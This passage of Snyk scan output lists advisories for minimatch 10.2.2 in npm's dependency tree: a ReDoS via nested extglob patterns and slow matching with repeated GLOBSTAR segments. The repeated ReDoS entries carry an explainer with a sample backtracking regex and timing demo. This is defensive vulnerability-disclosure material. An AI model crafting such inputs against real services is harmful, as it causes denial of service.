"SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, 